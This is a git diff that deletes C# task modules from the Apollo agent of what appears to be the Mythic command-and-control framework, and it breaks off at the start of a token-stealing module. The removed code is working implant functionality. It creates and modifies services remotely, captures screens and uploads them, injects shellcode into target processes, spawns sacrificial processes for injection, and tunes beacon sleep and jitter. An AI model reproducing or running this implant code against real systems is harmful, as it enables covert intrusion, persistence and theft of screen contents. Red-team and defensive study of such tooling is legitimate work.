Marshal.AllocHGlobal(Marshal.SizeOf(sd)); - Marshal.StructureToPtr(sd, ptr, false); - bool result = _pChangeServiceConfig2(serviceHandle, ConfigInfoLevel.SERVICE_CONFIG_DESCRIPTION, ptr); - if (ptr != IntPtr.Zero) - Marshal.FreeHGlobal( ptr ); - return result; - } - - private static QUERY_SERVICE_CONFIG GetServiceConfig(ServiceControlHandle serviceHandle) { - IntPtr qscPtr = IntPtr.Zero; - - bool retCode = _pQueryServiceConfig(serviceHandle, qscPtr, 0, out uint bytesNeeded); - - if (!retCode && bytesNeeded == 0) - { - throw new Win32Exception(); - } - - qscPtr = Marshal.AllocCoTaskMem((int)bytesNeeded); - retCode = _pQueryServiceConfig(serviceHandle, qscPtr, bytesNeeded, out bytesNeeded); - if (!retCode) - { - throw new Win32Exception(); - } - - return (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(qscPtr, typeof(QUERY_SERVICE_CONFIG)); - } - - private static List QueryServies(ScParameters parameters, string action) - { - IntPtr buf = IntPtr.Zero; - uint iResumeHandle = 0; - List results = new List(); - - ServiceControlHandle serviceMangerHandle = _pOpenSCManager(parameters.Computer, null, SCMAccess.SC_MANAGER_ENUMERATE_SERVICE); - - if (serviceMangerHandle.IsInvalid) - throw new Exception($"Failed to open SCM: {new Win32Exception().Message}"); - - bool result = _pEnumServicesStatusEx( - serviceMangerHandle, - ServiceInfoLevel.SC_ENUM_PROCESS_INFO, - (int) ServiceType.SERVICE_WIN32, - (int) ServiceStateRequest.SERVICE_STATE_ALL, - IntPtr.Zero, - 0, - out uint iBytesNeeded, - out uint iServicesReturned, - ref iResumeHandle, - null); - - if (!result) { - // allocate our memory to receive the data for all the services (including the names) - buf = Marshal.AllocHGlobal((int) iBytesNeeded); - - result = _pEnumServicesStatusEx( - serviceMangerHandle, - ServiceInfoLevel.SC_ENUM_PROCESS_INFO, - (int) ServiceType.SERVICE_WIN32, - (int) ServiceStateRequest.SERVICE_STATE_ALL, - buf, - iBytesNeeded, - out iBytesNeeded, - out iServicesReturned, - ref iResumeHandle, - null); - } - - if (!result) - { - if (buf != IntPtr.Zero) - Marshal.FreeHGlobal(buf); - throw new Exception($"Unable to enumerate services: {new Win32Exception().Message}"); - } - - ENUM_SERVICE_STATUS_PROCESS[] serviceArray = GetServiceStatuses(buf, iServicesReturned); - - if (buf != IntPtr.Zero) - Marshal.FreeHGlobal(buf); - - foreach (ENUM_SERVICE_STATUS_PROCESS service in serviceArray) - { - - if (!string.IsNullOrEmpty(parameters.Service)) - { - if (!string.Equals(service.pServiceName, parameters.Service, StringComparison.CurrentCultureIgnoreCase)) - continue; - } - - ServiceControlHandle serviceHandle = _pOpenService( serviceMangerHandle, service.pServiceName, ServiceAccess.SERVICE_QUERY_CONFIG ); - if (serviceHandle.IsInvalid) - throw new ExternalException( $"Error OpenService: {new Win32Exception()}" ); - - QUERY_SERVICE_CONFIG qsc = GetServiceConfig(serviceHandle); - TextInfo textInfo = new CultureInfo("en-US", false).TextInfo; - - ServiceResult svc = new ServiceResult - { - Computer = parameters.Computer, - Description = GetServiceDescription(serviceHandle), - Service = service.pServiceName, - DisplayName = service.pDisplayName, - BinaryPath = Marshal.PtrToStringAuto(qsc.BinaryPathName), - LoadOrderGroup = Marshal.PtrToStringAuto(qsc.LoadOrderGroup), - RunAs = Marshal.PtrToStringAuto(qsc.StartName), - Dependencies = Marshal.PtrToStringAuto(qsc.Dependencies)?.Split(','), - SvcType = Convert.ToString((ServiceType)service.ServiceStatus.serviceType), - Status = textInfo.ToTitleCase(Convert.ToString((ServiceState)service.ServiceStatus.currentState).Replace("SERVICE_", "").ToLower()).Replace("_", ""), - PID = Convert.ToString(service.ServiceStatus.processId), - AcceptedControls = Convert.ToString((CONTROLS_ACCEPTED)service.ServiceStatus.controlsAccepted).Split(','), - CanStop = false, - StartType = Convert.ToString((ServiceStartMode)qsc.StartType), - ErrorControl = qsc.ErrorControl.ToString(), - Action = action - }; - - if (svc.AcceptedControls.Contains("SERVICE_ACCEPT_STOP")) - svc.CanStop = true; - - results.Add(svc); - } - - return results; - } - - private static void ModifyService(ScParameters parameters) - { - const uint SERVICE_NO_CHANGE = 0xFFFFFFFF; - - ServiceControlHandle serviceMangerHandle = _pOpenSCManager(parameters.Computer, null, SCMAccess.GENERIC_WRITE); - ServiceStatus status = new ServiceStatus(); - - if (serviceMangerHandle.IsInvalid) - throw new ExternalException($"Error OpenServiceManager: {new Win32Exception().Message}"); - - ServiceControlHandle serviceHandle = _pOpenService(serviceMangerHandle, parameters.Service, ServiceAccess.SERVICE_CHANGE_CONFIG); - - if (serviceHandle.IsInvalid) - throw new ExternalException($"Error OpenService: {new Win32Exception().Message}"); - - uint newServiceType = SERVICE_NO_CHANGE; - uint newStartType = SERVICE_NO_CHANGE; - string newBinPath = null; - string newServiceStartName = null; - string newPassword = null; - string newDisplayName = null; - string newDepends = null; - - if (parameters.Dependencies != null) - { - if (parameters.Dependencies.Length == 1 && parameters.Dependencies[0] == "\"") - // clearing dependencies if -Dependencies "" is passed - newDepends = ""; - else - { - foreach (string depend in parameters.Dependencies) - { - newDepends += depend + "\0"; - } - newDepends += "\0"; - } - } - - if (!string.IsNullOrEmpty(parameters.Binpath)) - newBinPath = parameters.Binpath; - - if (!string.IsNullOrEmpty(parameters.RunAs)) - newServiceStartName = parameters.RunAs; - - if (!string.IsNullOrEmpty(parameters.Password)) - { - newPassword = parameters.Password; - // Specify an empty string if the account has no password or if the service runs in the - // LocalService, NetworkService, or LocalSystem account. - if (newPassword == "\"") - newPassword = "\"\""; - } - - if (!string.IsNullOrEmpty(parameters.DisplayName)) - newDisplayName = parameters.DisplayName; - - if (!string.IsNullOrEmpty(parameters.ServiceTypeParam) && parameters.ServiceTypeParam != "SERVICE_NO_CHANGE") - newServiceType = (uint) Enum.Parse(typeof(ServiceType), parameters.ServiceTypeParam); - - if (!string.IsNullOrEmpty(parameters.StartType) && parameters.StartType != "SERVICE_NO_CHANGE") - newStartType = (uint) Enum.Parse(typeof(ServiceStartType), parameters.StartType); - - bool changeServiceSuccess = _pChangeServiceConfig(serviceHandle, - newServiceType, - newStartType, - SERVICE_NO_CHANGE, - newBinPath, - null, - IntPtr.Zero, - newDepends, - newServiceStartName, - newPassword, - newDisplayName); - - if (!string.IsNullOrEmpty(parameters.Description)) - SetServiceDescription(serviceHandle, parameters.Description); - - if (!changeServiceSuccess) - throw new ExternalException($"Failed to update {parameters.Service}: {new Win32Exception().Message}"); - } - public override void Start() - { - MythicTaskResponse resp; - ScParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (string.IsNullOrEmpty(parameters.Computer)) - { - parameters.Computer = Environment.GetEnvironmentVariable("COMPUTERNAME"); - } - - ValidateParameters(parameters); - List results = new List(); - - if (parameters.Query) - { - try { - results = QueryServies(parameters, "query"); - resp = CreateTaskResponse(_jsonSerializer.Serialize(results.ToArray()), true); - } - catch(Exception ex) - { - resp = CreateTaskResponse($"Failed to enumerate services on {parameters.Computer}. Reason: {ex.Message}", - true, "error"); - } - } - else if (parameters.Create) - { - try - { - if (InstallService(parameters.Computer, parameters.Service, parameters.DisplayName, parameters.Binpath)) - { - ServiceController createdService = new ServiceController(parameters.Service, parameters.Computer); - - results = QueryServies(parameters, "create"); - - resp = CreateTaskResponse(_jsonSerializer.Serialize(results.ToArray()), true); - } - else - { - resp = CreateTaskResponse("Failed to create service.", true, "error"); - } - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Failed to create service. Reason: {ex.Message}", true, "error"); - } - } - else if (parameters.Delete) - { - try - { - if (UninstallService(parameters.Computer, parameters.Service)) - { - resp = CreateTaskResponse($"Deleted service {parameters.Service} from {parameters.Computer}", true); - } - else - { - resp = CreateTaskResponse("Failed to delete service.", true, "error"); - } - } - catch (Exception ex) - { - resp = CreateTaskResponse( - $"Failed to delete service. Reason: {ex.Message}", true, "error"); - } - } - else if (parameters.Start) - { - try - { - ServiceController instance = new ServiceController(parameters.Service, parameters.Computer); - if (instance.Status == ServiceControllerStatus.Running || - instance.Status == ServiceControllerStatus.StartPending) - { - resp = CreateTaskResponse( - $"Service {instance.ServiceName} on {parameters.Computer} is already started, and is in state: {instance.Status}", - true, - "error"); - } - else - { - instance.Start(); - ST.Task waitForServiceAsync = - new ST.Task(() => { instance.WaitForStatus(ServiceControllerStatus.Running); }, - _cancellationToken.Token); - waitForServiceAsync.Start(); - ST.Task.WaitAny(new ST.Task[] {waitForServiceAsync}, _cancellationToken.Token); - _cancellationToken.Token.ThrowIfCancellationRequested(); - - results = QueryServies(parameters, "start"); - - resp = CreateTaskResponse(_jsonSerializer.Serialize(results.ToArray()), true); - } - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Failed to start service. Reason: {ex.Message}", true, "error"); - } - } - else if (parameters.Stop) - { - try - { - ServiceController stopInstance = new ServiceController(parameters.Service, parameters.Computer); - if (stopInstance.Status == ServiceControllerStatus.Stopped || - stopInstance.Status == ServiceControllerStatus.StopPending) - { - resp = CreateTaskResponse( - $"Service {stopInstance.ServiceName} on {parameters.Computer} is already stopped, and is in state: {stopInstance.Status}", - true, "error"); - } - else - { - stopInstance.Stop(); - ST.Task stopTask = new ST.Task(() => { stopInstance.WaitForStatus(ServiceControllerStatus.Stopped); }); - stopTask.Start(); - ST.Task.WaitAny(new ST.Task[] - { - stopTask - }, _cancellationToken.Token); - _cancellationToken.Token.ThrowIfCancellationRequested(); - - results = QueryServies(parameters, "stop"); - - resp = CreateTaskResponse(_jsonSerializer.Serialize(results.ToArray()), true); - } - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Failed to stop service. Reason: {ex.Message}", true, "error"); - } - } - else if (parameters.Modify) - { - try - { - ModifyService(parameters); - - results = QueryServies(parameters, "modify"); - - resp = CreateTaskResponse(_jsonSerializer.Serialize(results.ToArray()), true); - } - catch (Exception ex) { - resp = CreateTaskResponse($"Failed to modify service. Reason: {ex.Message}", true, "error"); - } - } - else - { - resp = CreateTaskResponse($"No valid action given.", true, "error"); - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/screenshot.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/screenshot.cs deleted file mode 100644 index ffbd4258..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/screenshot.cs +++ /dev/null @@ -1,76 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define SCREENSHOT -#endif - -#if SCREENSHOT -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Windows.Forms; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using ApolloInterop.Utils; - -namespace Tasks -{ - public class screenshot : Tasking - { - public screenshot(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - } - - - public override void Start() - { - MythicTaskResponse resp = CreateTaskResponse("", true); - try - { - //foreach screen in all screens, pass it to the GetBytesFromScreen function and then put the output into a list - List captures = Screen.AllScreens.Select(GetBytesFromScreen).ToList(); - - foreach (byte[] bScreen in captures) - { - bool putFile = _agent.GetFileManager().PutFile(_cancellationToken.Token, _data.ID, bScreen, null, out string mythicFileId, true); - if (putFile is false) - { - //if we can't put the file, then we need to break out of the loop and return an error - DebugHelp.DebugWriteLine("put file failed"); - resp = CreateTaskResponse("", true, "error"); - break; - } - //add the valid mythicFileId to the response and then add it to the queue - //_agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse(mythicFileId, false, "")); - } - //if this is reached without the loop breaking then it will be a success state - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - catch (Exception e) - { - DebugHelp.DebugWriteLine(e.Message); - DebugHelp.DebugWriteLine(e.StackTrace); - resp = CreateTaskResponse(e.Message, true, "error"); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } - - private byte[] GetBytesFromScreen(Screen screen) - { - using Bitmap bmpScreenCapture = new(screen.Bounds.Width, screen.Bounds.Height); - using Graphics g = Graphics.FromImage(bmpScreenCapture); - using MemoryStream ms = new(); - - g.CopyFromScreen(new Point(screen.Bounds.X, screen.Bounds.Y), Point.Empty, bmpScreenCapture.Size); - bmpScreenCapture.Save(ms, ImageFormat.Png); - byte[] bScreen = ms.ToArray(); - - return bScreen; - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/screenshot_inject.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/screenshot_inject.cs deleted file mode 100644 index a4a685d4..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/screenshot_inject.cs +++ /dev/null @@ -1,306 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define SCREENSHOT_INJECT -#endif - -#if SCREENSHOT_INJECT - -using ApolloInterop.Classes; -using ApolloInterop.Classes.Core; -using ApolloInterop.Classes.Events; -using ApolloInterop.Enums.ApolloEnums; -using ApolloInterop.Interfaces; -using ApolloInterop.Serializers; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Collections.Concurrent; -using System.Collections.Generic; -using System.IO.Pipes; -using System.Linq; -using System.Runtime.Serialization; -using System.Text; -using System.Threading; -using ST = System.Threading.Tasks; - -namespace Tasks -{ - public class screenshot_inject : Tasking - { - [DataContract] - internal struct ScreenshotInjectParameters - { - [DataMember(Name = "pipe_name")] - public string PipeName; - [DataMember(Name = "count")] - public int Count; - [DataMember(Name = "interval")] - public int Interval; - [DataMember(Name = "loader_stub_id")] - public string LoaderStubId; - [DataMember(Name = "pid")] - public int PID; - } - private ConcurrentDictionary> MessageStore = new ConcurrentDictionary>(); - private AutoResetEvent _senderEvent = new AutoResetEvent(false); - private AutoResetEvent _receiverEvent = new AutoResetEvent(false); - private AutoResetEvent _putFilesEvent = new AutoResetEvent(false); - private AutoResetEvent _pipeConnected = new AutoResetEvent(false); - - private ConcurrentQueue _senderQueue = new ConcurrentQueue(); - private ConcurrentQueue _putFilesQueue = new ConcurrentQueue(); - private ConcurrentQueue _receiverQueue = new ConcurrentQueue(); - private JsonSerializer _serializer = new JsonSerializer(); - private AutoResetEvent _complete = new AutoResetEvent(false); - private Action _sendAction; - private Action _putFilesAction; - List> uploadTasks = new List>(); - - private bool _completed = false; - - public screenshot_inject(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - _sendAction = (object p) => - { - PipeStream ps = (PipeStream)p; - while (ps.IsConnected && !_cancellationToken.IsCancellationRequested) - { - WaitHandle.WaitAny(new WaitHandle[] - { - _senderEvent, - _cancellationToken.Token.WaitHandle, - _complete - }); - if (!_cancellationToken.IsCancellationRequested && ps.IsConnected && _senderQueue.TryDequeue(out byte[] result)) - { - ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, p); - } - } - _completed = true; - _complete.Set(); - }; - _putFilesAction = (object p) => - { - WaitHandle[] waiters = new WaitHandle[] { _putFilesEvent, _cancellationToken.Token.WaitHandle }; - while (!_cancellationToken.IsCancellationRequested ) - { - WaitHandle.WaitAny(waiters); - if (_putFilesQueue.TryDequeue(out byte[] screen)) - { - ST.Task uploadTask = new ST.Task(() => - { - if (_agent.GetFileManager().PutFile( - _cancellationToken.Token, - _data.ID, - screen, - null, - out string mythicFileId, - true)) - { - return true; - } else - { - return false; - } - }, _cancellationToken.Token); - uploadTasks.Add(uploadTask); - uploadTask.Start(); - } - } - }; - } - - - - public override void Start() - { - MythicTaskResponse resp; - try - { - ScreenshotInjectParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (string.IsNullOrEmpty(parameters.LoaderStubId) || - string.IsNullOrEmpty(parameters.PipeName)) - { - resp = CreateTaskResponse( - $"One or more required arguments was not provided.", - true, - "error"); - } - else - { - bool pidRunning = false; - try - { - System.Diagnostics.Process.GetProcessById(parameters.PID); - pidRunning = true; - } - catch - { - pidRunning = false; - } - - if (pidRunning) - { - if (_agent.GetFileManager().GetFile(_cancellationToken.Token, _data.ID, parameters.LoaderStubId, - out byte[] exeAsmPic)) - { - var injector = _agent.GetInjectionManager().CreateInstance(exeAsmPic, parameters.PID); - if (injector.Inject()) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - "", - false, - "", - new IMythicMessage[] - { - Artifact.ProcessInject(parameters.PID, - _agent.GetInjectionManager().GetCurrentTechnique().Name) - })); - int count = 1; - int interval = 0; - if (parameters.Count > 0) - { - count = parameters.Count; - } - - if (parameters.Interval >= 0) - { - interval = parameters.Interval; - } - - IPCCommandArguments cmdargs = new IPCCommandArguments - { - ByteData = new byte[0], - StringData = string.Format("{0} {1}", count, interval) - }; - AsyncNamedPipeClient client = new AsyncNamedPipeClient("127.0.0.1", parameters.PipeName); - client.ConnectionEstablished += Client_ConnectionEstablished; - client.MessageReceived += OnAsyncMessageReceived; - client.Disconnect += Client_Disconnect; - if (client.Connect(10000)) - { - IPCChunkedData[] chunks = _serializer.SerializeIPCMessage(cmdargs); - foreach (IPCChunkedData chunk in chunks) - { - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(_serializer.Serialize(chunk))); - } - - _senderEvent.Set(); - WaitHandle[] waiters = new WaitHandle[] - { - _complete, - _cancellationToken.Token.WaitHandle - }; - WaitHandle.WaitAny(waiters); - ST.Task.WaitAll(uploadTasks.ToArray()); - //bool bRet = uploadTasks.Where(t => t.Result == false).ToArray().Length == 0; - bool bRet = uploadTasks.All(t => t.Result is true); - if (bRet) - { - resp = CreateTaskResponse("", true, "completed"); - } - else - { - resp = CreateTaskResponse("", true, "error"); - } - } - else - { - resp = CreateTaskResponse($"Failed to connect to named pipe.", true, "error"); - } - } - else - { - resp = CreateTaskResponse($"Failed to inject into PID {parameters.PID}", true, "error"); - } - } - else - { - resp = CreateTaskResponse( - $"Failed to download assembly loader stub (with id: {parameters.LoaderStubId})", - true, - "error"); - } - } - else - { - resp = CreateTaskResponse( - $"Process with ID {parameters.PID} is not running.", - true, - "error"); - } - } - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Unexpected error: {ex.Message}\n\n{ex.StackTrace}", true, "error"); - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - - private void Client_Disconnect(object sender, NamedPipeMessageArgs e) - { - e.Pipe.Close(); - _senderEvent.Set(); - } - - private void Client_ConnectionEstablished(object sender, NamedPipeMessageArgs e) - { - System.Threading.Tasks.Task.Factory.StartNew(_sendAction, e.Pipe, _cancellationToken.Token); - System.Threading.Tasks.Task.Factory.StartNew(_putFilesAction, null, _cancellationToken.Token); - } - - private void OnAsyncMessageSent(IAsyncResult result) - { - PipeStream pipe = (PipeStream)result.AsyncState; - // Potentially delete this since theoretically the sender Task does everything - if (pipe.IsConnected) - { - pipe.EndWrite(result); - if (!_cancellationToken.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] data)) - { - pipe.BeginWrite(data, 0, data.Length, OnAsyncMessageSent, pipe); - } - } - } - - private void OnAsyncMessageReceived(object sender, NamedPipeMessageArgs args) - { - IPCChunkedData chunkedData = _jsonSerializer.Deserialize( - Encoding.UTF8.GetString(args.Data.Data.Take(args.Data.DataLength).ToArray())); - lock (MessageStore) - { - if (!MessageStore.ContainsKey(chunkedData.ID)) - { - MessageStore[chunkedData.ID] = new ChunkedMessageStore(); - MessageStore[chunkedData.ID].MessageComplete += DeserializeToReceiverQueue; - } - } - MessageStore[chunkedData.ID].AddMessage(chunkedData); - } - - private void DeserializeToReceiverQueue(object sender, ChunkMessageEventArgs args) - { - MessageType mt = args.Chunks[0].Message; - List data = new List(); - - for (int i = 0; i < args.Chunks.Length; i++) - { - data.AddRange(Convert.FromBase64String(args.Chunks[i].Data)); - } - - IMythicMessage msg = _jsonSerializer.DeserializeIPCMessage(data.ToArray(), mt); - //Console.WriteLine("We got a message: {0}", mt.ToString()); - - if (msg.GetTypeCode() != MessageType.ScreenshotInformation) - { - throw new Exception("Invalid type received from the named pipe!"); - } - _putFilesQueue.Enqueue(((ScreenshotInformation)msg).Data); - _putFilesEvent.Set(); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/set_injection_technique.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/set_injection_technique.cs deleted file mode 100644 index b38f457a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/set_injection_technique.cs +++ /dev/null @@ -1,41 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define SET_INJECTION_TECHNIQUE -#endif - -#if SET_INJECTION_TECHNIQUE - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; - -namespace Tasks -{ - public class set_injection_technique : Tasking - { - public set_injection_technique(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - } - - - public override void Start() - { - MythicTaskResponse resp; - if (_agent.GetInjectionManager().SetTechnique(_data.Parameters)) - { - resp = CreateTaskResponse($"Set injection technique to {_data.Parameters}", true); - } - else - { - resp = CreateTaskResponse($"Unknown technique: {_data.Parameters}", true, "error"); - } - - // Your code here.. - // Then add response to queue - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/shinject.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/shinject.cs deleted file mode 100644 index a103320b..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/shinject.cs +++ /dev/null @@ -1,87 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define SHINJECT -#endif - -#if SHINJECT - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.InteropServices; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class shinject : Tasking - { - [DataContract] - internal struct ShinjectArguments - { - [DataMember(Name = "pid")] - public int PID; - [DataMember(Name = "shellcode-file-id")] - public string Shellcode; - } - public shinject(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - } - - - public override void Start() - { - MythicTaskResponse resp; - ShinjectArguments args = _jsonSerializer.Deserialize(_data.Parameters); - System.Diagnostics.Process proc = null; - try - { - proc = System.Diagnostics.Process.GetProcessById(args.PID); - } - catch - { - } - - if (proc != null) - { - if (_agent.GetFileManager().GetFile( - _cancellationToken.Token, - _data.ID, - args.Shellcode, out byte[] code)) - { - var technique = _agent.GetInjectionManager().CreateInstance(code, args.PID); - if (technique.Inject()) - { - resp = CreateTaskResponse( - $"Injected code into {proc.ProcessName} ({proc.Id})", true, "completed", - new IMythicMessage[] - { - Artifact.ProcessInject(proc.Id, technique.GetType().Name) - }); - } - else - { - resp = CreateTaskResponse( - $"Failed to inject code into {proc.ProcessName} ({proc.Id}): {Marshal.GetLastWin32Error()}", - true, - "error"); - } - } - else - { - resp = CreateTaskResponse("Failed to fetch file.", true, "error"); - } - } - else - { - resp = CreateTaskResponse($"No process with ID {args.PID} running.", true, "error"); - } - - // Your code here.. - // Then add response to queue - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/sleep.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/sleep.cs deleted file mode 100644 index c368f4fd..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/sleep.cs +++ /dev/null @@ -1,52 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define SLEEP -#endif - -#if SLEEP - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class sleep : Tasking - { - [DataContract] - internal struct SleepParameters - { - [DataMember(Name = "interval")] - public int Sleep; - [DataMember(Name = "jitter")] - public int Jitter; - } - public sleep(IAgent agent, MythicTask data) : base(agent, data) - { - } - - - public override void Start() - { - MythicTaskResponse resp; - SleepParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (parameters.Sleep >= 0) - { - if (parameters.Jitter >= 0) - { - _agent.SetSleep(parameters.Sleep, parameters.Jitter); - } - else - { - _agent.SetSleep(parameters.Sleep); - } - } - resp = CreateTaskResponse("", true); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/spawn.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/spawn.cs deleted file mode 100644 index 88d47637..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/spawn.cs +++ /dev/null @@ -1,69 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define SPAWN -#endif - -#if SPAWN - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class spawn : Tasking - { - [DataContract] - internal struct SpawnParameters - { - [DataMember(Name = "template")] - public string Template; - } - public spawn(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - } - - - public override void Start() - { - MythicTaskResponse resp; - SpawnParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (_agent.GetFileManager().GetFile( - _cancellationToken.Token, - _data.ID, - parameters.Template, - out byte[] fileBytes)) - { - var startupArgs = _agent.GetProcessManager().GetStartupInfo(); - var proc = _agent.GetProcessManager().NewProcess(startupArgs.Application, startupArgs.Arguments, true); - if (proc.Start()) - { - if (proc.Inject(fileBytes)) - { - resp = CreateTaskResponse($"Successfully injected into {startupArgs.Application} ({proc.PID})", true); - } - else - { - resp = CreateTaskResponse("Failed to inject into sacrificial process.", true, "error"); - } - } - else - { - resp = CreateTaskResponse("Failed to start sacrificial process.", true, "error"); - } - } - else - { - resp = CreateTaskResponse("Failed to fetch file.", true, "error"); - } - - // Your code here.. - // Then add response to queue - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/spawnto_x64.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/spawnto_x64.cs deleted file mode 100644 index 8cc89a0c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/spawnto_x64.cs +++ /dev/null @@ -1,56 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define SPAWNTO_X64 -#endif - -#if SPAWNTO_X64 - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class spawnto_x64 : Tasking - { - [DataContract] - internal struct SpawnToArgsx64 - { - [DataMember(Name = "application")] - public string Application; - - [DataMember(Name = "arguments")] - public string Arguments; - } - - public spawnto_x64(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - } - - - public override void Start() - { - MythicTaskResponse resp; - SpawnToArgsx64 parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (_agent.GetProcessManager().SetSpawnTo(parameters.Application, parameters.Arguments, true)) - { - var sacParams = _agent.GetProcessManager().GetStartupInfo(); - resp = CreateTaskResponse( - $"x64 Startup Information set to: {sacParams.Application} {sacParams.Arguments}", - true); - } - else - { - resp = CreateTaskResponse("Failed to set startup information.", true, "error"); - } - - // Your code here.. - // Then add response to queue - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/spawnto_x86.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/spawnto_x86.cs deleted file mode 100644 index d7679ebd..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/spawnto_x86.cs +++ /dev/null @@ -1,58 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define SPAWNTO_X86 -#endif - -#if SPAWNTO_X86 - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class spawnto_x86 : Tasking - { - [DataContract] - internal struct SpawnToArgsx86 - { - [DataMember(Name = "application")] - public string Application; - - [DataMember(Name = "arguments")] - public string Arguments; - } - - - public spawnto_x86(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - } - - - - public override void Start() - { - MythicTaskResponse resp; - SpawnToArgsx86 parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (_agent.GetProcessManager().SetSpawnTo(parameters.Application, parameters.Arguments, false)) - { - var sacParams = _agent.GetProcessManager().GetStartupInfo(); - resp = CreateTaskResponse( - $"x86 Startup Information set to: {sacParams.Application} {sacParams.Arguments}", - true); - } - else - { - resp = CreateTaskResponse("Failed to set startup information.", true, "error"); - } - - // Your code here.. - // Then add response to queue - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/steal_token.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/steal_token.cs deleted file mode 100644 index 9d0048e1..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/steal_token.cs +++ /dev/null @@ -1,151 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define STEAL_TOKEN -#endif - -#if STEAL_TOKEN - -using ApolloInterop.Classes; -using ApolloInterop.Classes.Api; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Runtime.InteropServices; -using System.Security.Principal; - -namespace Tasks -{ 